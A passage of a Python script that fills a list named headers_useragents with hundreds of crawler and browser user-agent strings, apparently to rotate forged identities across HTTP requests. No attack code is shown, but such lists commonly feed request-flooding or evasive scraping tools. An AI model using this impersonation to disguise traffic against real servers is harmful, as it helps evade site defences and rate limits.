  3519.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  3520.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  3521.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  3522.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  3523.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  3524.     headers_useragents.append('Barca/2.0.xxxx')
  3525.     headers_useragents.append('BarcaPro/1.4.xxxx')
  3526.     headers_useragents.append('BarraHomeCrawler (albertof@barrahome.org)')
  3527.     headers_useragents.append('bCentral Billing Post-Process')
  3528.     headers_useragents.append('bdcindexer_2.6.2 (research@bdc)')
  3529.     headers_useragents.append('BDFetch')
  3530.     headers_useragents.append('BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)')
  3531.     headers_useragents.append('BeamMachine/0.5 (dead link remover of www.beammachine.net)')
  3532.     headers_useragents.append('beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)')
  3533.     headers_useragents.append('BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )')
  3534.     headers_useragents.append('BeebwareDirectory/v0.01')
  3535.     headers_useragents.append('Big Brother (http://pauillac.inria.fr/~fpottier/)')
  3536.     headers_useragents.append('Big Fish v1.0')
  3537.     headers_useragents.append('BigBrother/1.6e')
  3538.     headers_useragents.append('BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)')
  3539.     headers_useragents.append('BIGLOTRON (Beta 2;GNU/Linux)')
  3540.     headers_useragents.append('Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)')
  3541.     headers_useragents.append('Bilbo/2.3b-UNIX')
  3542.     headers_useragents.append('BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  3543.     headers_useragents.append('BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)')
  3544.     headers_useragents.append('billbot wjj@cs.cmu.edu')
  3545.     headers_useragents.append('Bitacle bot/1.1')
  3546.     headers_useragents.append('Bitacle Robot (V:1.0;) (http://www.bitacle.com)')
  3547.     headers_useragents.append('Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)')
  3548.     headers_useragents.append('BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)')
  3549.     headers_useragents.append('BlackWidow')
  3550.     headers_useragents.append('BlackWidow')
  3551.     headers_useragents.append('Blaiz-Bee/1.0 (+http://www.blaiz.net)')
  3552.     headers_useragents.append('Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)')
  3553.     headers_useragents.append('Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)')
  3554.     headers_useragents.append('BlitzBOT@tricus.net')
  3555.     headers_useragents.append('BlitzBOT@tricus.net (Mozilla compatible)')
  3556.     headers_useragents.append('BlockNote.Net')
  3557.     headers_useragents.append('BlogBot/1.x')
  3558.     headers_useragents.append('BlogBridge 2.13 (http://www.blogbridge.com/)')
  3559.     headers_useragents.append('Bloglines Title Fetch/1.0 (http://www.bloglines.com)')
  3560.     headers_useragents.append('Bloglines-Images/0.1 (http://www.bloglines.com)')
  3561.     headers_useragents.append('Bloglines/3.1 (http://www.bloglines.com)')
  3562.     headers_useragents.append('BlogMap (http://www.feedmap.net)')
  3563.     headers_useragents.append('Blogpulse (info@blogpulse.com)')
  3564.     headers_useragents.append('BlogPulseLive (support@blogpulse.com)')
  3565.     headers_useragents.append('BlogSearch/1.x +http://www.icerocket.com/')
  3566.     headers_useragents.append('blogsearchbot-pumpkin-3')
  3567.     headers_useragents.append('BlogsNowBot) V 2.01 (+http://www.blogsnow.com/)')
  3568.     headers_useragents.append('BlogVibeBot-v1.1 (spider@blogvibe.nl)')
  3569.     headers_useragents.append('blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)')
  3570.     headers_useragents.append('BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)')
  3571.     headers_useragents.append('BlogzIce/1.0 +http://www.icerocket.com/')
  3572.     headers_useragents.append('BloobyBot')
  3573.     headers_useragents.append('Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  3574.     headers_useragents.append('bluefish 0.6 HTML editor')
  3575.     headers_useragents.append('BMCLIENT')
  3576.     headers_useragents.append('BMLAUNCHER')
  3577.     headers_useragents.append('Bobby/4.0.x RPT-HTTPClient/0.3-3E')
  3578.     headers_useragents.append('boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)')
  3579.     headers_useragents.append('boitho.com-robot/1.x')
  3580.     headers_useragents.append('boitho.com-robot/1.x (http://www.boitho.com/bot.html)')
  3581.     headers_useragents.append('Bookdog/x.x')
  3582.     headers_useragents.append('Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)')
  3583.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  3584.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  3585.     headers_useragents.append('BookmarkBase(2/;http://bookmarkbase.com)')
  3586.     headers_useragents.append('Bot mailto:craftbot@yahoo.com')
  3587.     headers_useragents.append('BPImageWalker/2.0 (www.bdbrandprotect.com)')
  3588.     headers_useragents.append('BravoBrian bstop.bravobrian.it')
  3589.     headers_useragents.append('BravoBrian SpiderEngine MarcoPolo')
  3590.     headers_useragents.append('BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)')
  3591.     headers_useragents.append('BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)')
  3592.     headers_useragents.append('BSDSeek/1.0')
  3593.     headers_useragents.append('BStop.BravoBrian.it Agent Detector')
  3594.     headers_useragents.append('BTbot/0.x (+http://www.btbot.com/btbot.html)')
  3595.     headers_useragents.append('BTWebClient/180B(9704)')
  3596.     headers_useragents.append('BuildCMS crawler (http://www.buildcms.com/crawler)')
  3597.     headers_useragents.append('Bulkfeeds/r1752 (http://bulkfeeds.net/)')
  3598.     headers_useragents.append('BullsEye')
  3599.     headers_useragents.append('bumblebee@relevare.com')
  3600.     headers_useragents.append('BunnySlippers')
  3601.     headers_useragents.append('BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)')
  3602.     headers_useragents.append('Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)')
  3603.     headers_useragents.append('BW-C-2.0')
  3604.     headers_useragents.append('bwh3_user_agent')
  3605.     headers_useragents.append('Cabot/Nutch-0.9 (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  3606.     headers_useragents.append('Cabot/Nutch-1.0-dev (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  3607.     headers_useragents.append('CamelHttpStream/1.0')
  3608.     headers_useragents.append('Cancer Information and Support International;')
  3609.     headers_useragents.append('carleson/1.0')
  3610.     headers_useragents.append('Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/index.html http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  3611.     headers_useragents.append('Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  3612.     headers_useragents.append('Catall Spider')
  3613.     headers_useragents.append('CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)')
  3614.     headers_useragents.append('CCBot/1.0 (+http://www.commoncrawl.org/bot.html)')
  3615.     headers_useragents.append('ccubee/x.x')
  3616.     headers_useragents.append('CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0')
  3617.     headers_useragents.append('CE-Preload')
  3618.     headers_useragents.append('CentiverseBot')
  3619.     headers_useragents.append('CentiverseBot - investigator')
  3620.     headers_useragents.append('CentiverseBot/3.0 (http://www.centiverse-project.net)')
  3621.     headers_useragents.append('Ceramic Tile Installation Guide (http://www.floorstransformed.com)')
  3622.     headers_useragents.append('CERN-LineMode/2.15')
  3623.     headers_useragents.append('cfetch/1.0')
  3624.     headers_useragents.append('CFNetwork/x.x')
  3625.     headers_useragents.append('cg-eye interactive')
  3626.     headers_useragents.append('Charon/1.x (Amiga)')
  3627.     headers_useragents.append('Chat Catcher/1.0')
  3628.     headers_useragents.append('Checkbot/1.xx LWP/5.xx')
  3629.     headers_useragents.append('CheckLinks/1.x.x')
  3630.     headers_useragents.append('CheckUrl')
  3631.     headers_useragents.append('CheckWeb')
  3632.     headers_useragents.append('Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)')
  3633.     headers_useragents.append('China Local Browse 2.6')
  3634.     headers_useragents.append('Chitika ContentHit 1.0')
  3635.     headers_useragents.append('ChristCRAWLER 2.0')
  3636.     headers_useragents.append('CHttpClient by Open Text Corporation')
  3637.     headers_useragents.append('CipinetBot (http://www.cipinet.com/bot.html)')
  3638.     headers_useragents.append('Cityreview Robot (+http://www.cityreview.org/crawler/)')
  3639.     headers_useragents.append('CJ Spider/')
  3640.     headers_useragents.append('CJB.NET Proxy')
  3641.     headers_useragents.append('ClariaBot/1.0')
  3642.     headers_useragents.append('Claymont.com')
  3643.     headers_useragents.append('CloakDetect/0.9 (+http://fulltext.seznam.cz/)')
  3644.     headers_useragents.append('Clushbot/2.x (+http://www.clush.com/bot.html)')
  3645.     headers_useragents.append('Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)')
  3646.     headers_useragents.append('Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)')
  3647.     headers_useragents.append('Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)')
  3648.     headers_useragents.append('Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)')
  3649.     headers_useragents.append('COAST WebMaster Pro/4.x.x.xx (Windows NT)')
  3650.     headers_useragents.append('CoBITSProbe')
  3651.     headers_useragents.append('Cocoal.icio.us/1.0 (v36) (Mac OS X; http://www.scifihifi.com/cocoalicious)')
  3652.     headers_useragents.append('Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)')
  3653.     headers_useragents.append('ColdFusion')
  3654.     headers_useragents.append('ColdFusion (BookmarkTracker.com)')
  3655.     headers_useragents.append('collage.cgi/1.xx')
  3656.     headers_useragents.append('combine/0.0')
  3657.     headers_useragents.append('Combine/2.0 http://combine.it.lth.se/')
  3658.     headers_useragents.append('Combine/3 http://combine.it.lth.se/')
  3659.     headers_useragents.append('Combine/x.0')
  3660.     headers_useragents.append('cometrics-bot) http://www.cometrics.de')
  3661.     headers_useragents.append('Commerce Browser Center')
  3662.     headers_useragents.append('complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)')
  3663.     headers_useragents.append('Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu')
  3664.     headers_useragents.append('Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  3665.     headers_useragents.append('Contact')
  3666.     headers_useragents.append('ContactBot/0.2')
  3667.     headers_useragents.append('ContentSmartz')
  3668.     headers_useragents.append('contype')
  3669.     headers_useragents.append('Convera Internet Spider V6.x')
  3670.     headers_useragents.append('ConveraCrawler/0.2')
  3671.     headers_useragents.append('ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)')
  3672.     headers_useragents.append('ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)')
  3673.     headers_useragents.append('CoolBot')
  3674.     headers_useragents.append('Cooliris/1.5 CFNetwork/459 Darwin/10.0.0d3')
  3675.     headers_useragents.append('CoralWebPrx/0.1.1x (See http://coralcdn.org/)')
  3676.     headers_useragents.append('cosmos/0.8_(robot@xyleme.com)')
  3677.     headers_useragents.append('cosmos/0.9_(robot@xyleme.com)')
  3678.     headers_useragents.append('CoteoNutchCrawler/Nutch-0.9 (info [at] coteo [dot] com)')
  3679.     headers_useragents.append('CougarSearch/0.x (+http://www.cougarsearch.com/faq.shtml)')
  3680.     headers_useragents.append('Covac TexAs Arachbot')
  3681.     headers_useragents.append('CoverScout%203/3.0.1 CFNetwork/339.5 Darwin/9.5.0 (i386) (iMac5)1)')
  3682.     headers_useragents.append('Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  3683.     headers_useragents.append('Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  3684.     headers_useragents.append('CrawlConvera0.1 (CrawlConvera@yahoo.com)')
  3685.     headers_useragents.append('Crawler')
  3686.     headers_useragents.append('Crawler (cometsearch@cometsystems.com)')
  3687.     headers_useragents.append('Crawler admin@crawler.de')
  3688.     headers_useragents.append('Crawler V 0.2.x admin@crawler.de')
  3689.     headers_useragents.append('crawler@alexa.com')
  3690.     headers_useragents.append('CrawlerBoy Pinpoint.com')
  3691.     headers_useragents.append('Crawllybot/0.1 (Crawllybot; +http://www.crawlly.com; crawler@crawlly.com)')
  3692.     headers_useragents.append('CreativeCommons/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)')
  3693.     headers_useragents.append('Cricket-A100/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0')
  3694.     headers_useragents.append('CrocCrawler vx.3 [en] (http://www.croccrawler.com) (X11; I; Linux 2.0.44 i686)')
  3695.     headers_useragents.append('csci_b659/0.13')
  3696.     headers_useragents.append('CSE HTML Validator Professional (http://www.htmlvalidator.com/)')
  3697.     headers_useragents.append('Cuam Ver0.050bx')
  3698.     headers_useragents.append('Cuasarbot/0.9b http://www.cuasar.com/spider_beta/')
  3699.     headers_useragents.append('curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4')
  3700.     headers_useragents.append('curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)')
  3701.     headers_useragents.append('curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)')
  3702.     headers_useragents.append('curl/7.9.x (win32) libcurl 7.9.x')
  3703.     headers_useragents.append('CurryGuide SiteScan 1.1')
  3704.     headers_useragents.append('Custo x.x (www.netwu.com)')
  3705.     headers_useragents.append('Custom Spider www.bisnisseek.com /1.0')
  3706.     headers_useragents.append('Cyberdog/2.0 (Macintosh; 68k)')
  3707.     headers_useragents.append('CyberPatrol SiteCat Webbot')
  3708.     headers_useragents.append('CyberSpyder Link Test/2.1.12')
  3709.     headers_useragents.append('CydralSpider/1.x')
  3710.     headers_useragents.append('CydralSpider/3.0')
  3711.     headers_useragents.append('DA 3.5')
  3712.     headers_useragents.append('DA 4.0')
  3713.     headers_useragents.append('DA 4.0')
  3714.     headers_useragents.append('DA 5.0')
  3715.     headers_useragents.append('DA 7.0')
  3716.     headers_useragents.append('DAP x.x')
  3717.     headers_useragents.append('Dart Communications PowerTCP')
  3718.     headers_useragents.append('DataCha0s/2.0')
  3719.     headers_useragents.append('DataCha0s/2.0')
  3720.     headers_useragents.append('DataFountains/DMOZ Downloader')
  3721.     headers_useragents.append('DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)')
  3722.     headers_useragents.append('DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)')
  3723.     headers_useragents.append('DataparkSearch/4.47 (+http://dataparksearch.org/bot)')
  3724.     headers_useragents.append('DataparkSearch/4.xx (http://www.dataparksearch.org/)')
  3725.     headers_useragents.append('DataSpear/1.0 (Spider; http://www.dataspear.com/spider.html; spider@dataspear.com)')
  3726.     headers_useragents.append('DataSpearSpiderBot/0.2 (DataSpear Spider Bot; http://dssb.dataspear.com/bot.html; dssb@dataspear.com)')
  3727.     headers_useragents.append('DatenBot( http://www.sicher-durchs-netz.de/bot.html)')
  3728.     headers_useragents.append('DaviesBot/1.7')
  3729.     headers_useragents.append('daypopbot/0.x')
  3730.     headers_useragents.append('dbDig(http://www.prairielandconsulting.com)')
  3731.     headers_useragents.append('DBrowse 1.4b')
  3732.     headers_useragents.append('DBrowse 1.4d')
  3733.     headers_useragents.append('DC-Sakura/x.xx')
  3734.     headers_useragents.append('dCSbot/1.1')
  3735.     headers_useragents.append('DDD')
  3736.     headers_useragents.append('dds explorer v1.0 beta')
  3737.     headers_useragents.append('de.searchengine.comBot 1.2 (http://de.searchengine.com/spider)')
  3738.     headers_useragents.append('DeadLinkCheck/0.4.0 libwww-perl/5.xx')
  3739.     headers_useragents.append('Deep Link Calculator v1.0')
  3740.     headers_useragents.append('deepak-USC/ISI')
  3741.     headers_useragents.append('DeepIndex')
  3742.     headers_useragents.append('DeepIndex ( http://www.zetbot.com )')
  3743.     headers_useragents.append('DeepIndex (www.en.deepindex.com)')
  3744.     headers_useragents.append('DeepIndexer.ca')
  3745.     headers_useragents.append('del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)')
  3746.     headers_useragents.append('DeleGate/9.0.5-fix1')
  3747.     headers_useragents.append('Demo Bot DOT 16b')
  3748.     headers_useragents.append('Demo Bot Z 16b')
  3749.     headers_useragents.append('Denmex websearch (http://search.denmex.com)')
  3750.     headers_useragents.append('dev-spider2.searchpsider.com/1.3b')
  3751.     headers_useragents.append('DevComponents.com HtmlDocument Object')
  3752.     headers_useragents.append('DiaGem/1.1 (http://www.skyrocket.gr.jp/diagem.html)')
  3753.     headers_useragents.append('Diamond/x.0')
  3754.     headers_useragents.append('DiamondBot')
  3755.     headers_useragents.append('Digger/1.0 JDK/1.3.0rc3')
  3756.     headers_useragents.append('DigOut4U')
  3757.     headers_useragents.append('DIIbot/1.2')
  3758.     headers_useragents.append('Dillo/0.8.5-i18n-misc')
  3759.     headers_useragents.append('Dillo/0.x.x')
  3760.     headers_useragents.append('disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)')
  3761.     headers_useragents.append('DISCo Pump x.x')
  3762.     headers_useragents.append('disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  3763.     headers_useragents.append('disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  3764.     headers_useragents.append('DittoSpyder')
  3765.     headers_useragents.append('dloader(NaverRobot)/1.0')
  3766.     headers_useragents.append('DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com')
  3767.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10')
  3768.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10/TB')
  3769.     headers_useragents.append('DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)')
  3770.     headers_useragents.append('DoCoMo/2.0 P900iV(c100;TB;W24H11)')
  3771.     headers_useragents.append('DoCoMo/2.0 SH901iS(c100;TB;W24H12))gzip(gfe) (via translate.google.com)')
  3772.     headers_useragents.append('DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  3773.     headers_useragents.append('DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  3774.     headers_useragents.append('DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804')
  3775.     headers_useragents.append('dodgebot/experimental')
  3776.     headers_useragents.append('DonutP; Windows98SE')
  3777.     headers_useragents.append('Doubanbot/1.0 (bot@douban.com http://www.douban.com)')
  3778.     headers_useragents.append('Download Demon/3.x.x.x')
  3779.     headers_useragents.append('Download Druid 2.x')
  3780.     headers_useragents.append('Download Express 1.0')
  3781.     headers_useragents.append('Download Master')
  3782.     headers_useragents.append('Download Ninja 3.0')
  3783.     headers_useragents.append('Download Wonder')
  3784.     headers_useragents.append('Download-Tipp Linkcheck (http://download-tipp.de/)')
  3785.     headers_useragents.append('Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)')
  3786.     headers_useragents.append('DownloadDirect.1.0')
  3787.     headers_useragents.append('Dr.Web (R) online scanner: http://online.drweb.com/')
  3788.     headers_useragents.append('Dragonfly File Reader')
  3789.     headers_useragents.append('Drecombot/1.0 (http://career.drecom.jp/bot.html)')
  3790.     headers_useragents.append('Drupal (+http://drupal.org/)')
  3791.     headers_useragents.append('DSurf15a 01')
  3792.     headers_useragents.append('DSurf15a 71')
  3793.     headers_useragents.append('DSurf15a 81')
  3794.     headers_useragents.append('DSurf15a VA')
  3795.     headers_useragents.append('DTAAgent')
  3796.     headers_useragents.append('dtSearchSpider')
  3797.     headers_useragents.append('Dual Proxy')
  3798.     headers_useragents.append('DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)')
  3799.     headers_useragents.append('Dumbot(version 0.1 beta - dumbfind.com)')
  3800.     headers_useragents.append('Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)')
  3801.     headers_useragents.append('Dumbot(version 0.1 beta)')
  3802.     headers_useragents.append('e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)')
  3803.     headers_useragents.append('e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)')
  3804.     headers_useragents.append('eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)')
  3805.     headers_useragents.append('EARTHCOM.info/1.x [www.earthcom.info]')
  3806.     headers_useragents.append('EARTHCOM.info/1.xbeta [www.earthcom.info]')
  3807.     headers_useragents.append('EasyDL/3.xx')
  3808.     headers_useragents.append('EasyDL/3.xx http://keywen.com/Encyclopedia/Bot')
  3809.     headers_useragents.append('EBrowse 1.4b')
  3810.     headers_useragents.append('eCatch/3.0')
  3811.     headers_useragents.append('EchO!/2.0')
  3812.     headers_useragents.append('Educate Search VxB')
  3813.     headers_useragents.append('egothor/3.0a (+http://www.xdefine.org/robot.html)')
  3814.     headers_useragents.append('EgotoBot/4.8 (+http://www.egoto.com/about.htm)')
  3815.     headers_useragents.append('ejupiter.com')
  3816.     headers_useragents.append('EldoS TimelyWeb/3.x')
  3817.     headers_useragents.append('elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)')
  3818.     headers_useragents.append('ELI/20070402:2.0 (DAUM RSS Robot) Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)')
  3819.     headers_useragents.append('ELinks (0.x.x; Linux 2.4.20 i586; 132x60)')
  3820.     headers_useragents.append('ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)')
  3821.     headers_useragents.append('EmailSiphon')
  3822.     headers_useragents.append('EmailSpider')
  3823.     headers_useragents.append('EmailWolf 1.00')
  3824.     headers_useragents.append('EmeraldShield.com WebBot')
  3825.     headers_useragents.append('EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)')
  3826.     headers_useragents.append('EMPAS_ROBOT')
  3827.     headers_useragents.append('EnaBot/1.x (http://www.enaball.com/crawler.html)')
  3828.     headers_useragents.append('endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)')
  3829.     headers_useragents.append('Enfish Tracker')
  3830.     headers_useragents.append('Enterprise_Search/1.0')
  3831.     headers_useragents.append('Enterprise_Search/1.0.xxx')
  3832.     headers_useragents.append('Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)')
  3833.     headers_useragents.append('envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)')
  3834.     headers_useragents.append('envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)')
  3835.     headers_useragents.append('EroCrawler')
  3836.     headers_useragents.append('ES.NET_Crawler/2.0 (http://search.innerprise.net/)')
  3837.     headers_useragents.append('eseek-larbin_2.6.2 (crawler@exactseek.com)')
  3838.     headers_useragents.append('ESISmartSpider')
  3839.     headers_useragents.append('eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)')
  3840.     headers_useragents.append('ESurf15a 15')
  3841.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetFile')
  3842.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetRobots')
  3843.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) PreCheck')
  3844.     headers_useragents.append('Eurobot/1.0 (http://www.ayell.eu)')
  3845.     headers_useragents.append('EvaalSE - bot@evaal.com')
  3846.     headers_useragents.append('eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)')
  3847.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)')
  3848.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)')
  3849.     headers_useragents.append('Exabot-Images/1.0')
  3850.     headers_useragents.append('Exabot-Test/1.0')
  3851.     headers_useragents.append('Exabot/2.0')
  3852.     headers_useragents.append('Exabot/3.0')
  3853.     headers_useragents.append('ExactSearch')
  3854.     headers_useragents.append('ExactSeek Crawler/0.1')
  3855.     headers_useragents.append('exactseek-crawler-2.63 (crawler@exactseek.com)')
  3856.     headers_useragents.append('exactseek-pagereaper-2.63 (crawler@exactseek.com)')
  3857.     headers_useragents.append('exactseek.com')
  3858.     headers_useragents.append('Exalead NG/MimeLive Client (convert/http/0.120)')
  3859.     headers_useragents.append('Excalibur Internet Spider V6.5.4')
  3860.     headers_useragents.append('Execrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)')
  3861.     headers_useragents.append('exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)')
  3862.     headers_useragents.append('exooba/exooba crawler (exooba; exooba)')
  3863.     headers_useragents.append('ExperimentalHenrytheMiragoRobot')
  3864.     headers_useragents.append('Expired Domain Sleuth')
  3865.     headers_useragents.append('Express WebPictures (www.express-soft.com)')
  3866.     headers_useragents.append('ExtractorPro')
  3867.     headers_useragents.append('Extreme Picture Finder')
  3868.     headers_useragents.append('EyeCatcher (Download-tipp.de)/1.0')
  3869.     headers_useragents.append('Factbot 1.09 (see http://www.factbites.com/webmasters.php)')
  3870.     headers_useragents.append('factbot : http://www.factbites.com/robots')
  3871.     headers_useragents.append('FaEdit/2.0.x')
  3872.     headers_useragents.append('FairAd Client')
  3873.     headers_useragents.append('FANGCrawl/0.01')
  3874.     headers_useragents.append('FARK.com link verifier')
  3875.     headers_useragents.append('Fast Crawler Gold Edition')
  3876.     headers_useragents.append('FAST Enterprise Crawler 6 (Experimental)')
  3877.     headers_useragents.append('FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/')
  3878.     headers_useragents.append('FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)')
  3879.     headers_useragents.append('FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)')
  3880.     headers_useragents.append('FAST Enterprise Crawler 6 used by FAST (FAST)')
  3881.     headers_useragents.append('FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)')
  3882.     headers_useragents.append('FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au)')
  3883.     headers_useragents.append('FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)')
  3884.     headers_useragents.append('FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)')
  3885.     headers_useragents.append('FAST Enterprise Crawler/6 (www.fastsearch.com)')
  3886.     headers_useragents.append('FAST Enterprise Crawler/6.4 (helpdesk at fast.no)')
  3887.     headers_useragents.append('FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)')
  3888.     headers_useragents.append('FAST MetaWeb Crawler (helpdesk at fastsearch dot com)')
  3889.     headers_useragents.append('Fast PartnerSite Crawler')
  3890.     headers_useragents.append('FAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  3891.     headers_useragents.append('FAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  3892.     headers_useragents.append('FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  3893.     headers_useragents.append('FAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  3894.     headers_useragents.append('FAST-WebCrawler/3.2 test')
  3895.     headers_useragents.append('FAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  3896.     headers_useragents.append('FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  3897.     headers_useragents.append('FAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  3898.     headers_useragents.append('FAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)')
